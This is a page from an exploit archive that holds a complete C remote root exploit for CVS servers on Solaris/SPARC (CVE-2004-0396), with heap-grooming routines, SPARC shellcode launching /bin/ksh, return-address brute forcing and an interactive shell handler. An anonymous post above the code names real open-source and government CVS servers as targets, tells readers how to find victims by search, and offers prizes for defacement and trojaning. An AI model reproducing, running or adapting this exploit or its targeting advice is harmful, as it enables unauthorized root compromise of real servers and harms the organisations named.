evolve or die

cvs_solaris_HEAP.c

cvs_solaris_HEAP.c
Posted May 20, 2004

Remote root exploit for stable CVS releases up to 1.11.15 and CVS feature releases up to 1.12.7. Solaris version. Anonymously submitted.

tags | exploit, remote, root
systems | solaris
advisories | CVE-2004-0396
MD5 | 2172d2e08430a16cd515d19de297d1de

cvs_solaris_HEAP.c

Change Mirror Download
Date: 20 May 2004 01:19:15 -0000
From: anonymous
Subject: Declaring Open Season on Open Source

Hi, consider this an iALERT

Today a nice vulnerability in the CVS was published, this sucks.
Here are some exploits for that vulnerability.
They will exploit any Linux / FreeBSD / Solaris box running CVS.
(The Solaris one is very slow, your bitching, I'd like to see you write it.)

We already owned everyone and everything with these exploits years ago, and in
fact we've all had them sitting on the shelf gathering dust due to lack of
new targets.

FUN TESTBED IDEAS:
cvs.apache.org
cvs.perl.com
cvshome.org <-- PLAY "FIND THE SUCKIT"
anoncvs.freebsd.org <-- ls -al /tmp to see how many people who can't hack own
+this already
cvs.kernel.org
*.gnu.org
*.debian.org
www.openbsd.org <-- TRIPPLE HEAP SOLARIS OWNAGE - THEO IS TOAST

HOW TO FIND VICTIMS:
google for "[anon/cvs/anonymous/etc] pserver"

.gov and .mil cvs trees are fun

I wonder how long it'll take everyone to remove all the SUCKits

Prizes may be given for the most imaginative defacement / trojaning.

Finally a big thank-you to Steffen Esser of Team TESO Security for being such an
+amazing whitehat and providing the public with such great Security Product.

- The Axis of Eliteness - WARNING - THE AXIS HAZ ACCESS
"Move over saddam, cos you're not as leet as I am"
/* Napoleon Solo - Solaris / SPARC CVS exploit March 2001 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <netdb.h>
#include <errno.h>
#include <sys/time.h>
#include <fcntl.h>
#include <zlib.h>

#define CVS_PORT 2401
#define RET 0xffbffd20
#define NOP 0x82102017
#define ROUND(s) if (s % word_size) s += (word_size - (s % word_size))

unsigned char *root;
unsigned char *user;
unsigned char *pass;
unsigned char *scrambled;
unsigned char *reposit;
unsigned char *directory;
unsigned char buf[512];
unsigned char *host;
unsigned int rport, port;
unsigned int target;
z_stream zout;
z_stream zin;
unsigned char zbuf[65536 * 4];
unsigned int zbufpos, zsent = 0;
unsigned int word_size = 8, fill_size;
unsigned int len1, len2, len3;
unsigned int oflip, change, retaddr;

char entry1[64], entry2[64], entry3[64];

struct expl {
char *name;
unsigned int retadd;
} serve[] = {
{ "cvs-1.11.1p1 - Solaris9 / SPARC", 0xd4cc8},
{ "cvs-1.12.2 - Solaris9 / SPARC", 0xd7ae8 + 8192},
{ "cvs-1.9.28 - Solaris 9 / SPARC", 0xd25b8},
{ "Crash server", 0x41414141},
{ "Crash server 2", 0x77777777},
{ "Stack ret test", 0xffbffd20},
{ "Heap ret test", 0x00031337},
{ NULL, 0}
};

char shellcode[]=
"\x21\x18\xd8\x58" // sethi %hi(0x63616000), %l0
"\xa0\x14\x23\x61" // or %l0, 0x361, %l0
"\x90\x10\x20\x01" // mov 1, %o0
"\x92\x0b\x80\x0e" // and %sp, %sp, %o1
"\x94\x10\x20\x04" // mov 4, %o2
"\x82\x10\x20\x04" // mov 4, %g1
"\x91\xd0\x20\x08" // ta 8
/* lsd shellcode. */
"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
"\x20\xbf\xff\xff" /* bn,a <shellcode> */
"\x7f\xff\xff\xff" /* call <shellcode+4> */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh";

char *scramble(char * str);

void handler(int sig)
{
signal(SIGPIPE, handler);
}

/*
* This function reads from socket s until either max bytes are read,
* a newline is read, or timeout seconds elapse with no data over the
* socket.
* return values:
* -2: timeout
* -1: error
* 0: connection closed
* x: normal success, x bytes read
*/
int timeout_read(int s, char *buf, int max, int timeout)
{
int total = 0;
int r = 0;
int s_flags;
char c;
struct timeval to;
fd_set rset;

memset(&to, '\0', sizeof(to));
to.tv_sec = timeout;
to.tv_usec = 0;

s_flags = fcntl(s, F_GETFL, 0);
fcntl(s, F_SETFL, s_flags | O_NONBLOCK);

while(total < max)
{
FD_ZERO(&rset);
FD_SET(s, &rset);
select(s + 1, &rset, NULL, NULL, &to);

if (FD_ISSET(s, &rset))
{
r = read(s, &c, 1);
total += r;

if(r == -1)
{
if (errno != EWOULDBLOCK)
{
fcntl(s, F_SETFL, s_flags);
return -1;
}
else
continue;
}
else if(r == 0)
{
fcntl(s, F_SETFL, s_flags);
return 0;
}
else /* r == 1 */
{
buf[total-1] = c;
if(c == '\n')
break;
}

}
else
{
fcntl(s, F_SETFL, s_flags);
return -2;
}
}

fcntl(s, F_SETFL, s_flags);
return total;
}

void zflush(int sockfd)
{
static char outbuf[65536];

zout.next_in = zbuf;
zout.avail_in = zbufpos;

do {
zout.next_out = outbuf;
zout.avail_out = sizeof(outbuf);
if(deflate(&zout, Z_PARTIAL_FLUSH) == -1)
{
printf("[--] Compression error.\n");
exit(1);
}
zsent += sizeof(outbuf) - zout.avail_out;
write(sockfd, outbuf, sizeof(outbuf) - zout.avail_out);
} while (zout.avail_in != 0);

zbufpos = 0;

return;
}

int zwrite(char *buf, int len, int sockfd)
{
if ((sizeof(zbuf) - zbufpos) < (len))
zflush(sockfd);

memcpy(zbuf + zbufpos, buf, len);
zbufpos += len;

if (zbufpos >= sizeof(zbuf))
{
printf("[--] zwrite compression error.\n");
exit(1);
}

return (len);
}

int zgetch(int sockfd)
{
static char * outbuf = NULL;
static int outpos = 0, outlen = 0;
static char rcvbuf[32768];
static char dbuf[4096];
int got;

retry:
if (outpos < outlen && outlen)
return outbuf[outpos++];
free(outbuf);
outlen = 0;
outbuf = NULL;
got = read(sockfd, rcvbuf, sizeof(rcvbuf));
if (got <= 0)
{
printf("[--] Socket error.\n");
exit(1);
}
zin.next_in = rcvbuf;
zin.avail_in = got;
while (1)
{
int status, dlen;

zin.next_out = dbuf;
zin.avail_out = sizeof(dbuf);
status = inflate(&zin, Z_PARTIAL_FLUSH);
switch (status)
{
case Z_OK:
outpos = 0;
dlen = sizeof(dbuf) - zin.avail_out;
outlen += dlen;
outbuf = realloc(outbuf, outlen);
memcpy(outbuf + outlen - dlen, dbuf, dlen);
break;
case Z_BUF_ERROR:
goto retry;
default:
printf("[--] Revc inflate error.\n");
}
}
}

char *zgets(int sockfd)
{
static char buf[32768];
char * p = buf;
int c;

while (1)
{
c = zgetch(sockfd);
if (c == '\n')
break;
*p++ = c;
if (p > buf + sizeof(buf))
{
p--;
break;
}
}
*p = 0;
return (buf);
}

int do_compression(int s)
{
char buf[3000];
int term = 0, i = 0;

deflateInit(&zout, 1);
inflateInit(&zin);

memset(buf, 0x0, 300);
sprintf(buf, "Gzip-stream 1\n");

write(s, buf, strlen(buf));
}

int do_auth(int s)
{
char* str = malloc(50000);
if(str == 0)
{
perror("malloc");
exit(1);
}
strcpy(str, "BEGIN AUTH REQUEST");
strncat(str, "\n", 1);
strncat(str, reposit, strlen(reposit));
strncat(str, "\n", 1);
strncat(str, user, strlen(user));
strncat(str, "\n", 1);
scrambled = scramble(pass);
strncat(str, scrambled, strlen(scrambled));
strncat(str, "\n", 1);
strncat(str, "END AUTH REQUEST", 16);
strncat(str, "\n", 1);
write(s, str, strlen(str));
free(str);

return 0;
}

int do_root(int s)
{
char* str = malloc(5000);

bzero(str, 5000);
strncat(str, "Root ", 5);
strncat(str, root, strlen(root));
strncat(str, "\n", 1);
write(s, str, strlen(str));
free(str);

return 0;
}

int do_sized_entry(int s, char *e1, char *e2, int size)
{
char *str = malloc(size * 2);
char *tmp = malloc(size);
int x = 0;
int term = 0;

if(str == 0 || tmp == 0 || size < (strlen(e1) + strlen(e2) + 4))
{
return;
}

bzero(str, size*2);
bzero(tmp, size);
sprintf(tmp, "Entry /%s/%s/", e1, e2);
strcat(str, tmp);
term = strlen(str);

x = term;
while(x < (size - 1))
str[x++] = 0xff;

strcat(str, "\n");

str[term] = 0;

write(s, str, size);
free(str);

return(0);
}

int normalize_heap(int sockfd)
{
int i;
char buff[8192 + 128];

memset(buff, 0x0, 8192 + 128);
memset(buff, 0x62, 8190);
memcpy(buff, "Argument ", 9);
strcat(buff, "\n");
buff[72] = 0;

for( i = 0 ; i < 128 ; i++)
{
write(sockfd, buff, 8191);
}

memset(buff, 0x0, 8192 + 128);
memset(buff, 0x62, 8190);
memcpy(buff, "Argument ", 9);
strcat(buff, "\n");
buff[65] = 0;

for(i = 0 ; i < 64 ; i++)
{
write(sockfd, buff, 8191);
}

memset(buff, 0x0, 8192 + 128);
memset(buff, 0x62, 8190);
memcpy(buff, "Argument ", 9);
strcat(buff, "\n");
buff[44] = 0;

for(i = 0 ; i < 32 ; i++)
{
write(sockfd, buff, 8191);
}
memset(buff, 0x0, 8192 + 128);
memset(buff, 0xff, 8193);
memcpy(buff, "Argument ", 9);
strcat(buff, "\n");

write(sockfd, buff, 8194);
}

int correctly_fill_hole(int sockfd, int fill)
{
int chunk_size, chunk_size2;
int num_chunks;
int leftover, i = 0;
char buf[256];
char pad[1024];
char buff[2048];
unsigned long addr = RET;
char addrbuf[4096];

chunk_size = (1024 + word_size);
num_chunks = (fill / chunk_size);
leftover = (fill % chunk_size);

memset(pad, 0x0, 1024);
memset(pad, 0x88, ((1024 - 8) / 2));
memset(buff, 0x0, 2048);

/* The exploit will almost certainly fail if leftover == 0
* however in theory this should never actually happen.
*/
if(leftover == 0)
{
for(i = 0; i < num_chunks && fill > 0; i++)
{
do_sized_entry(sockfd, pad, pad, fill - (1024 + word_size));
fill -= (1024 + word_size);
}
}
else
{
for(i = 0; i < (num_chunks -2) && fill > 0; i++)
{
do_sized_entry(sockfd, pad, pad, fill - (1024 + word_size));
fill -= (1024 + word_size);
}
chunk_size2 = (chunk_size * 2 + leftover);
ROUND(chunk_size2);
memset(buff, 0x0, 2048);
memset(buff, 0xff, (chunk_size2 - 8) / 2);
memset(addrbuf, 0x0, sizeof(addrbuf));
for(i = 0 ; i < (((chunk_size2 - 8) / 2) -4) ; i += 4)
*(int *)&addrbuf[i] = htonl(RET);

memcpy(buff+1, addrbuf, strlen(addrbuf));
do_sized_entry(sockfd, buff, buff, 4096);
}

memset(buff, 0x0, 2048);
memset(buff, 0xff, 34);

memset(addrbuf, 0x0, sizeof(addrbuf));
for(i = 0; i < 28; i+=4)
*(int *)&addrbuf[i] = htonl(RET);

memcpy(buff+7, addrbuf, strlen(addrbuf));

do_sized_entry(sockfd, buff, buff, 97);
}

int do_ismodified(int s, char *e1)
{
char *str = (char *) malloc(100000);
int x = 0, term = 0;

bzero(str, 100000);

sprintf(str,"Is-modified %s\n", e1);

zwrite(str, strlen(str), s);
zflush(s);

free(str);

return 0;
}

int do_argument(int sockfd)
{
char *exp;

exp = (char *) malloc(20000);

memset(exp, 0x0, 20000);
memset(exp, 0x69, 19680 + strlen("Argument "));

memcpy(exp, "Argument ", strlen("Argument "));

exp[19680 + strlen("Argument ")] = '\n';

write(sockfd, exp, strlen(exp));

return(0);
}

int do_resize(int sockfd)
{
char buffer[256];
int x = 0;
memset(buffer, 0x0, 256);
memset(buffer, 0xff, 255);

buffer[254] = '\n';

memcpy(buffer, "Argumentx ", strlen("Argumentx "));

buffer[74 + 44] = 0;

zwrite(buffer, 255, sockfd);
zflush(sockfd);
}

int do_overflow(int sockfd)
{
char buffer[20000];
int i = 0;

memset(buffer, 0x0, 20000);
memset(buffer, 0x42, 19782);

for(i = 0 ; i < 19780-8; i+=4)
*(unsigned int *)&buffer[i] = htonl(retaddr);

for(i = 0; i < 19600; i+=4)
*(unsigned int *)&buffer[i] = htonl(NOP);

memcpy(buffer+19000, shellcode, strlen(shellcode));

memcpy(buffer, "Argument ", strlen("Argument "));
buffer[19781] = '\012';

zwrite(buffer, 19782, sockfd);
zflush(sockfd);
}

int work_around_zlib_bug(int sockfd)
{
char buffer[4096];
char data[64];

memset(data, 0x0, 64);
memset(data, 0x42, 32);

memset(buffer, 0x0, 4096);
memset(buffer, 0x42, 4000);

sprintf(buffer, "Entry /%s/%s/", data, data);

buffer[2999] = '\n';

zwrite(buffer, 3000, sockfd);
zflush(sockfd);
}

unsigned char auth_shifts[] ={
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87,
111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105,
41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35,
125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56,
36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48,
58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223,
225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190,
199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193,
174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212,
207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246,
192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176,
227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127,
182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195,
243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 };

char *scramble(char * str)
{
int i;
char * s;

s = (char *) malloc (strlen (str) + 3);
memset(s, '\0', strlen(str) + 3);
*s = 'A';
for (i = 1; str[i - 1]; i++)
s[i] = auth_shifts[(unsigned char)(str[i - 1])];
return (s);
}

int usage(char *name)
{
printf("usage: %s [options]\n", name);
printf("Options:\n");
printf(" -t Desired target\n");
printf(" -r CVS root\n");
printf(" -u CVS user\n");
printf(" -p Password\n");
printf(" -h Targeted host\n");
printf(" -P Port running CVS\n");

printf("\nAvailable targets:\n");
for (target = 0; serve[target].name != NULL; target++)
printf("[%i] - %s\n", target, serve[target].name);
exit(0);
}

int do_shell(int sockfd)
{
while(1)
{
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sockfd,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL))
{
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds))
{
if((cnt=read(0,buf,1024))<1)
{
if(errno==EWOULDBLOCK||errno==EAGAIN)
continue;
else
break;
}
write(sockfd,buf,cnt);
}
if(FD_ISSET(sockfd,&fds))
{
if((cnt=read(sockfd,buf,1024))<1)
{
if(errno==EWOULDBLOCK||errno==EAGAIN)
continue;
else
break;
}
write(1,buf,cnt);
}
}
}
}

int main(int argc, char *argv[])
{
int i, sockfd, len, result,x;
char c;
struct sockaddr_in addr;
struct hostent *hostinfo;

if(argc == 1)
{
usage(argv[0]);
}

port = CVS_PORT;
while((c = getopt(argc, argv, "t:r:u:d:p:h:")) != EOF)
{
switch(c)
{
case 't':
target = atoi(optarg);
break;
case 'r':
root = strdup(optarg);
reposit = strdup(optarg);
break;
case 'u':
user = strdup(optarg);
break;
case 'd':
directory = strdup(optarg);
break;
case 'p':
pass = strdup(optarg);
break;
case 'h':
host = strdup(optarg);
break;
default:
usage(argv[0]);
}
}

hostinfo = gethostbyname(host);
if(!hostinfo)
{
perror("gethostbyname()");
exit(0);
}

sockfd = socket(AF_INET, SOCK_STREAM, 0);

addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr = *(struct in_addr *)*hostinfo -> h_addr_list;
len = sizeof(addr);

printf("Attacking %s running %s\n", host, serve[target].name);
printf("[");
fflush(stdout);

retaddr = serve[target].retadd;

while(1)
{
sockfd = socket(AF_INET, SOCK_STREAM, 0);
result = connect(sockfd, (struct sockaddr *)&addr, len);
if(result == -1)
{
perror("connect()");
exit(0);
}

do_auth(sockfd);
timeout_read(sockfd, buf, sizeof(buf)-1, 3);
do_root(sockfd);

normalize_heap(sockfd);

do_argument(sockfd);

fill_size = 19680;

memset(entry1, 0x41, 60);
memset(entry2, 0x42, 60);
memset(entry3, 0x43, 60);

do_sized_entry(sockfd, entry1, entry1, fill_size - (128+word_size) );
fill_size -= (128 + word_size);
do_sized_entry(sockfd, entry2, entry2, fill_size - (128+word_size) );
fill_size -= (128 + word_size);
do_sized_entry(sockfd, entry3, entry3, fill_size - (128+word_size) );
fill_size -= (128 + word_size);

correctly_fill_hole(sockfd, fill_size - (64 + word_size));

do_compression(sockfd);

len1 = ( 5 + 4 + 16);
len2 = ( 144 + 8 + 5 + 1);
len3 = ( 144 + 8 + 128 + 8 + 5 + 0);

for(i = 0; i < len1; i++)
do_ismodified(sockfd, entry1);

for(i = 0; i < len2; i++)
do_ismodified(sockfd, entry2);

for(i = 0; i < len3; i++)
do_ismodified(sockfd, entry3);

work_around_zlib_bug(sockfd);

do_resize(sockfd);

do_overflow(sockfd);

printf(".");
fflush(stdout);

while(1)
{
result = timeout_read(sockfd, buf, 4, 5);
if(result == -1 || result == 0)
{
break;
}
if(result == -2)
{
printf("\n Timeout... trying for shell\n");
do_shell(sockfd);
break;
}
/* Maybe use strstr and a larger read buffer here ? */
if(strncmp(buf, "caca", 4) == 0)
{
printf("]\n");
printf("[+] 0wned!@ With retaddr = 0x%x\n", retaddr);
do_shell(sockfd);
exit(0);
}
}

change += 12000;

if(oflip == 0)
{
retaddr = serve[target].retadd + change;
oflip = 1;
}
else if(oflip == 1)
{
retaddr = serve[target].retadd - change;
oflip = 0;
}

close(sockfd);
}
}

/* TRIPLE OVERFLOW HEAP SOLARIS OWNAGE THEO IS TOAST */

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close